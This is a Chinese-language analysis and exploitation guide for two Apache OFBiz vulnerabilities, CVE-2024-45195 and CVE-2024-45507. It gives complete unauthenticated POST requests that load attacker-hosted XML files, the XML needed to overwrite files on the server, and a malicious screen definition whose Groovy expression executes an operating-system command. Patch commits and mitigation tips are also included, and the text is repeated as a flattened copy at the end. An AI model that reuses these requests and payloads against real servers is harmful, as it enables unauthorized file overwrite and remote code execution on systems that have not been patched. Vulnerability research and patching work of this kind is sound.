浅析Apache Ofbiz CVE-2024-45195 & CVE-2024-45507
字数 990 2025-08-22 22:47:30

Apache Ofbiz CVE-2024-45195 & CVE-2024-45507 漏洞分析与利用指南

漏洞概述

本文详细分析Apache Ofbiz框架中的两个安全漏洞:CVE-2024-45195和CVE-2024-45507。这两个漏洞均涉及未授权访问和远程代码执行风险,攻击者可利用这些漏洞在目标系统上执行任意代码。

CVE-2024-45195 漏洞分析

漏洞原理

CVE-2024-45195是一个文件写入漏洞,与之前的CVE-2024-38856原理相似。该漏洞允许攻击者通过未授权控制器后跟特定视图来覆盖文件内容。

漏洞代码分析

漏洞位于ViewDataFile.groovy文件中,关键代码如下:

dataFileSave = request.getParameter("DATAFILE_SAVE")
entityXmlFileSave = request.getParameter("ENTITYXML_FILE_SAVE")
dataFileLoc = request.getParameter("DATAFILE_LOCATION")
definitionLoc = request.getParameter("DEFINITION_LOCATION")
definitionName = request.getParameter("DEFINITION_NAME")
dataFileIsUrl = null != request.getParameter("DATAFILE_IS_URL")
definitionIsUrl = null != request.getParameter("DEFINITION_IS_URL")

// 远程加载文件
dataFileUrl = dataFileIsUrl?new URL(dataFileLoc):UtilURL.fromFilename(dataFileLoc)
definitionUrl = definitionIsUrl?new URL(definitionLoc):UtilURL.fromFilename(definitionLoc)

// 写入文件
if (dataFile && dataFileSave) {
    dataFile.writeDataFile(dataFileSave)
}
if (dataFile && entityXmlFileSave) {
    DataFile2EntityXml.writeToEntityXml(entityXmlFileSave, dataFile)
}

漏洞利用步骤

  1. 准备两个XML文件:

    • 1.xml:包含要写入的内容
    • 2.xml:定义文件格式
  2. 发送以下POST请求:

POST /webtools/control/forgotPassword/viewdatafile HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
Content-Length: 187

DATAFILE_LOCATION=http://[attacker]/1.xml&DEFINITION_IS_URL=1&DATAFILE_IS_URL=1&DEFINITION_LOCATION=http://[attacker]/2.xml&DATAFILE_SAVE=/path/to/target.txt&DEFINITION_NAME=TaxwareOutHead
  1. 文件内容说明:
    • 2.xml内容:
      <?xml version="1.0" encoding="UTF-8"?>
      <data-files xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:noNamespaceSchemaLocation="https://ofbiz.apache.org/dtds/datafiles.xsd">
          <data-file name="TaxwareOutHead" type-code="001" record-length="21" separator-style="fixed-record" start-line="0">
              <record name="outHead">
                  <field name="COMPRESSION_INDICATOR" position="1" length="20" type="String"/>
              </record>
          </data-file>
      </data-files>
      
    • 1.xml内容:123456789012345678901(注意长度需匹配2.xml中的定义)

修复方案

在18.12.16版本中引入了视图权限校验,修复commit:
https://github.com/apache/ofbiz-framework/commit/ab78769c2d7f22bd2ca8cc77b6be4f71d8bba24f

CVE-2024-45507 漏洞分析

漏洞原理

这是一个二次模板注入漏洞,允许远程加载文件来渲染screen。漏洞源于StatsSinceStart screen中的decorator-screen标签:

<decorator-screen name="StatsDecorator" location="${parameters.statsDecoratorLocation}">

漏洞利用步骤

  1. 准备恶意XML文件(payload.xml):

    <?xml version="1.0" encoding="UTF-8"?>
    <screens xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
            xmlns="http://ofbiz.apache.org/Widget-Screen" xsi:schemaLocation="http://ofbiz.apache.org/Widget-Screen" http://ofbiz.apache.org/dtds/widget-screen.xsd">
        <screen name="StatsDecorator">
            <section>
                <actions>
                    <set field="headerItem" value="${groovy:throw new Exception('open -a Calculator'.execute().text);}"/>
                    <entity-one entity-name="FinAccount" value-field="finAccount"/>
                </actions>
            </section>
        </screen>
    </screens>
    
  2. 发送以下POST请求:

    POST /webtools/control/forgotPassword/StatsSinceStart HTTP/1.1
    Host: [target]
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 56
    
    statsDecoratorLocation=http://[attacker]/payload.xml
    

修复方案

修复commit:
https://github.com/apache/ofbiz-framework/commit/ffb1bc487983fa672ac4fbeccf7ed7175e2accd3

防护建议

  1. 升级到最新版本的Apache Ofbiz
  2. 限制对/webtools/control端点的访问
  3. 实施输入验证和过滤,特别是对URL参数
  4. 监控系统日志中可疑的文件操作

总结

这两个漏洞都利用了Ofbiz框架中未充分验证的用户输入,通过精心构造的请求可实现远程代码执行。建议用户及时更新系统并实施适当的防护措施。

Apache Ofbiz CVE-2024-45195 & CVE-2024-45507 漏洞分析与利用指南 漏洞概述 本文详细分析Apache Ofbiz框架中的两个安全漏洞:CVE-2024-45195和CVE-2024-45507。这两个漏洞均涉及未授权访问和远程代码执行风险,攻击者可利用这些漏洞在目标系统上执行任意代码。 CVE-2024-45195 漏洞分析 漏洞原理 CVE-2024-45195是一个文件写入漏洞,与之前的CVE-2024-38856原理相似。该漏洞允许攻击者通过未授权控制器后跟特定视图来覆盖文件内容。 漏洞代码分析 漏洞位于 ViewDataFile.groovy 文件中,关键代码如下: 漏洞利用步骤 准备两个XML文件: 1.xml :包含要写入的内容 2.xml :定义文件格式 发送以下POST请求: 文件内容说明: 2.xml 内容: 1.xml 内容: 123456789012345678901 (注意长度需匹配 2.xml 中的定义) 修复方案 在18.12.16版本中引入了视图权限校验,修复commit: https://github.com/apache/ofbiz-framework/commit/ab78769c2d7f22bd2ca8cc77b6be4f71d8bba24f CVE-2024-45507 漏洞分析 漏洞原理 这是一个二次模板注入漏洞,允许远程加载文件来渲染screen。漏洞源于 StatsSinceStart screen中的 decorator-screen 标签: 漏洞利用步骤 准备恶意XML文件( payload.xml ): 发送以下POST请求: 修复方案 修复commit: https://github.com/apache/ofbiz-framework/commit/ffb1bc487983fa672ac4fbeccf7ed7175e2accd3 防护建议 升级到最新版本的Apache Ofbiz 限制对 /webtools/control 端点的访问 实施输入验证和过滤,特别是对URL参数 监控系统日志中可疑的文件操作 总结 这两个漏洞都利用了Ofbiz框架中未充分验证的用户输入,通过精心构造的请求可实现远程代码执行。建议用户及时更新系统并实施适当的防护措施。